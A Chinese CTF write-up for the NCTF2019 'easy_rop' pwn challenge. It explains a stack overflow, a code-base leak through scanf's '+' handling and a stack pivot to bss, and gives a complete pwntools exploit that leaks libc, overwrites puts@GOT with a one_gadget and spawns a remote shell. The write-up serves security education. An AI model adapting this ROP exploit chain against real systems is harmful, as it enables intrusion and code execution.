【Pwn】NCTF2019 easy_rop

查看程序保護。
在這裏插入圖片描述分析程序,程序只有一個main函數。
在這裏插入圖片描述
v6距離rbp爲0x70,在輸入數字的時候可以輸34 * 4個字節的數,34*4-0x70=24,意味着可以溢出覆蓋rbp,ret_address,以及返回地址下面的8個字節。main函數的old_rbp值實際上是代碼段init的地址,返回地址位置是libc中的一個地址。scanf函數%d當輸入爲 '+'時不會改變原內存中數據,於是可以來泄露代碼段首地址。在輸入number之後可以在bss段上輸入數據,由於溢出的大小不夠所以想到用棧遷移的方式來做。用RopGadget工具發現了一個修改esp的gadget。
在這裏插入圖片描述
在返回地址下面,即能溢出的最後8個字節,填上bss段上的地址,那麼ret後在執行這段gadget的pop rsp時,棧頂指針就到了bss段上,只要控制bss段上的數據,就可以繼續進行rop,從而getshell,exp如下:

from  pwn import *

io=remote('xx.xx.xx.xx',xxxxx)

def a(data):
    io.recvuntil(': ')
    io.sendline(data)
for i in range(26):
    a('0')
a('+')
a('+')
a('+')
io.recvuntil('= ')#得到init地址
init_low=int(io.recvline())
if init_low<0:
    init_low=init_low+2**32
a('+')
io.recvuntil('= ')
init_high=int(io.recvline())
init=(init_high<<32)+init_low
print(hex(init))
base=init-0x0B40#計算代碼段基址
bss=base+0x201420-0x18#-0x18是因爲pop esp 後面還有三個pop操作。
print(hex(bss))
pop_rdi=base+0x0ba3
pop_rsp=base+0x0b9d
pop_rsi=base+0x0ba1
puts_plt=base+0x00810
write_plt=base+0x0820
puts_got=base+0x201238
read_plt=base+0x00850

a(str(pop_rsp&0xffffffff))
a(str(pop_rsp>>32))
a(str(bss&0xffffffff))
a(str(bss>>32))
pl=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(puts_got)+p64(0)+p64(write_plt)#write 泄露puts的地址,這裏試過用puts泄露,但是後面的read會出問題,原因可能是在使用puts時改變了rdx的值,使read的第三個參數出問題。
pl+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(puts_got)+p64(0)+p64(read_plt)#覆蓋puts_got爲one_gadget
pl+=p64(puts_plt)#調用puts,getshell
io.send(pl)

io.recvuntil('your name?\n',True)
libc=u64(io.recv(8))-0x06f690
print(hex(libc))
one_gadget=libc+0xf1147
io.sendline(p64(one_gadget))

io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章